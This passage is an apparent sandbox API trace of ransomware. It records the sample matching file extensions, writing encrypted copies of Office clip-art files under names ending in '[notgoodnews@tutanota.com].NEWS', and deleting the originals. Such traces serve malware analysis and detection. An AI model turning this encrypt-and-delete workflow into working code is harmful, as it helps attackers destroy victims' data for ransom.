[0090.084] lstrlenW (lpString=".bz2") returned 4 [0090.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.084] lstrlenW (lpString=".7z") returned 3 [0090.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.084] lstrlenW (lpString=".dbf") returned 4 [0090.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.084] lstrlenW (lpString=".1cd") returned 4 [0090.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0090.084] lstrlenW (lpString=".jpg") returned 4 [0090.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.084] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.084] lstrlenW (lpString="J0089992.WMF") returned 12 [0090.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.085] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=15680) returned 1 [0090.085] CloseHandle (hObject=0x39c) returned 1 [0090.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220 [0090.085] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.085] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.085] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.085] GetLastError () returned 0x0 [0090.085] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0090.667] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0090.668] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.668] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.668] SetEndOfFile (hFile=0x370) returned 1 [0090.668] CloseHandle (hObject=0x370) returned 1 [0090.668] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.668] SetEndOfFile (hFile=0x39c) returned 1 [0090.669] CloseHandle (hObject=0x39c) returned 1 [0090.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0090.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.670] lstrlenW (lpString=".doc") returned 4 [0090.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.670] lstrlenW (lpString=".docx") returned 5 [0090.670] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0090.670] lstrlenW (lpString=".pdf") returned 4 [0090.670] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.670] lstrlenW (lpString=".xls") returned 4 [0090.670] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.670] lstrlenW (lpString=".xlsx") returned 5 [0090.670] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0090.670] lstrlenW (lpString=".ppt") returned 4 [0090.670] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.670] lstrlenW (lpString=".zip") returned 4 [0090.670] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.670] lstrlenW (lpString=".rar") returned 4 [0090.670] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.670] lstrlenW (lpString=".bz2") returned 4 [0090.670] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.670] lstrlenW (lpString=".7z") returned 3 [0090.670] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.670] lstrlenW (lpString=".dbf") returned 4 [0090.670] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.670] lstrlenW (lpString=".1cd") returned 4 [0090.670] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.670] lstrlenW (lpString=".jpg") returned 4 [0090.670] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.670] lstrlenW (lpString=".doc") returned 4 [0090.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.671] lstrlenW (lpString=".docx") returned 5 [0090.671] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0090.671] lstrlenW (lpString=".pdf") returned 4 [0090.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.671] lstrlenW (lpString=".xls") returned 4 [0090.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.671] lstrlenW (lpString=".xlsx") returned 5 [0090.671] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0090.671] lstrlenW (lpString=".ppt") returned 4 [0090.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.671] lstrlenW (lpString=".zip") returned 4 [0090.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.671] lstrlenW (lpString=".rar") returned 4 [0090.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.671] lstrlenW (lpString=".bz2") returned 4 [0090.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.671] lstrlenW (lpString=".7z") returned 3 [0090.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.671] lstrlenW (lpString=".dbf") returned 4 [0090.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.671] lstrlenW (lpString=".1cd") returned 4 [0090.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0090.671] lstrlenW (lpString=".jpg") returned 4 [0090.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.671] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0090.671] lstrlenW (lpString="J0099149.WMF") returned 12 [0090.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.672] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=73214) returned 1 [0090.672] CloseHandle (hObject=0x39c) returned 1 [0090.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0090.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.675] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.675] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.675] GetLastError () returned 0x0 [0090.675] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0090.678] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x11e00, lpOverlapped=0x0) returned 1 [0090.679] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.680] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.680] SetEndOfFile (hFile=0x370) returned 1 [0090.680] CloseHandle (hObject=0x370) returned 1 [0090.680] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.680] SetEndOfFile (hFile=0x39c) returned 1 [0090.681] CloseHandle (hObject=0x39c) returned 1 [0090.681] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.681] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0090.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.682] lstrlenW (lpString=".doc") returned 4 [0090.682] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.682] lstrlenW (lpString=".docx") returned 5 [0090.682] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0090.682] lstrlenW (lpString=".pdf") returned 4 [0090.682] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.682] lstrlenW (lpString=".xls") returned 4 [0090.682] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.682] lstrlenW (lpString=".xlsx") returned 5 [0090.682] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0090.682] lstrlenW (lpString=".ppt") returned 4 [0090.682] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.682] lstrlenW (lpString=".zip") returned 4 [0090.682] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.682] lstrlenW (lpString=".rar") returned 4 [0090.682] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.682] lstrlenW (lpString=".bz2") returned 4 [0090.682] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.682] lstrlenW (lpString=".7z") returned 3 [0090.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.683] lstrlenW (lpString=".dbf") returned 4 [0090.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.683] lstrlenW (lpString=".1cd") returned 4 [0090.683] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.683] lstrlenW (lpString=".jpg") returned 4 [0090.683] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.683] lstrlenW (lpString=".doc") returned 4 [0090.683] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.683] lstrlenW (lpString=".docx") returned 5 [0090.683] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0090.683] lstrlenW (lpString=".pdf") returned 4 [0090.683] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.683] lstrlenW (lpString=".xls") returned 4 [0090.683] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.683] lstrlenW (lpString=".xlsx") returned 5 [0090.683] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0090.683] lstrlenW (lpString=".ppt") returned 4 [0090.683] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.683] lstrlenW (lpString=".zip") returned 4 [0090.683] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.683] lstrlenW (lpString=".rar") returned 4 [0090.683] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.683] lstrlenW (lpString=".bz2") returned 4 [0090.683] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.683] lstrlenW (lpString=".7z") returned 3 [0090.683] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.683] lstrlenW (lpString=".dbf") returned 4 [0090.683] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.684] lstrlenW (lpString=".1cd") returned 4 [0090.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0090.684] lstrlenW (lpString=".jpg") returned 4 [0090.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.684] lstrcmpiW (lpString1=".JPG", lpString2=".NEWS") returned -1 [0090.684] lstrlenW (lpString="J0099150.JPG") returned 12 [0090.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.685] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=21914) returned 1 [0090.685] CloseHandle (hObject=0x39c) returned 1 [0090.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 0x220 [0090.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0090.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0090.685] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.685] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.685] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0090.686] GetLastError () returned 0x0 [0090.686] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x559a, lpOverlapped=0x0) returned 1 [0090.688] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x55a0, lpOverlapped=0x0) returned 1 [0090.689] ReadFile (in: hFile=0x39c, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.689] WriteFile (in: hFile=0x370, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.689] SetEndOfFile (hFile=0x370) returned 1 [0090.689] CloseHandle (hObject=0x370) returned 1 [0090.689] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.689] SetEndOfFile (hFile=0x39c) returned 1 [0090.690] CloseHandle (hObject=0x39c) returned 1 [0090.690] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.690] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg")) returned 1 [0090.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.691] lstrlenW (lpString=".doc") returned 4 [0090.691] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0090.691] lstrlenW (lpString=".docx") returned 5 [0090.691] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0090.691] lstrlenW (lpString=".pdf") returned 4 [0090.691] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0090.691] lstrlenW (lpString=".xls") returned 4 [0090.691] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0090.691] lstrlenW (lpString=".xlsx") returned 5 [0090.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0090.691] lstrlenW (lpString=".ppt") returned 4 [0090.691] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0090.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.691] lstrlenW (lpString=".zip") returned 4 [0090.691] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0090.691] lstrlenW (lpString=".rar") returned 4 [0090.691] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0090.691] lstrlenW (lpString=".bz2") returned 4 [0090.691] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0090.691] lstrlenW (lpString=".7z") returned 3 [0090.691] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0090.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.691] lstrlenW (lpString=".dbf") returned 4 [0090.691] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0090.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.691] lstrlenW (lpString=".1cd") returned 4 [0090.691] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0090.691] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.691] lstrlenW (lpString=".jpg") returned 4 [0090.691] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0090.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.692] lstrlenW (lpString=".doc") returned 4 [0090.692] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0090.692] lstrlenW (lpString=".docx") returned 5 [0090.692] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0090.692] lstrlenW (lpString=".pdf") returned 4 [0090.692] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0090.692] lstrlenW (lpString=".xls") returned 4 [0090.692] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0090.692] lstrlenW (lpString=".xlsx") returned 5 [0090.692] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0090.692] lstrlenW (lpString=".ppt") returned 4 [0090.692] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0090.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.692] lstrlenW (lpString=".zip") returned 4 [0090.692] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0090.692] lstrlenW (lpString=".rar") returned 4 [0090.692] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0090.692] lstrlenW (lpString=".bz2") returned 4 [0090.692] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0090.692] lstrlenW (lpString=".7z") returned 3 [0090.692] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0090.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG") returned 68 [0090.692] lstrlenW (lpString=".dbf") returned 4 [0090.692] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0090.692] lstrlenW (lpString="C:\\Program Files\\Microsoft 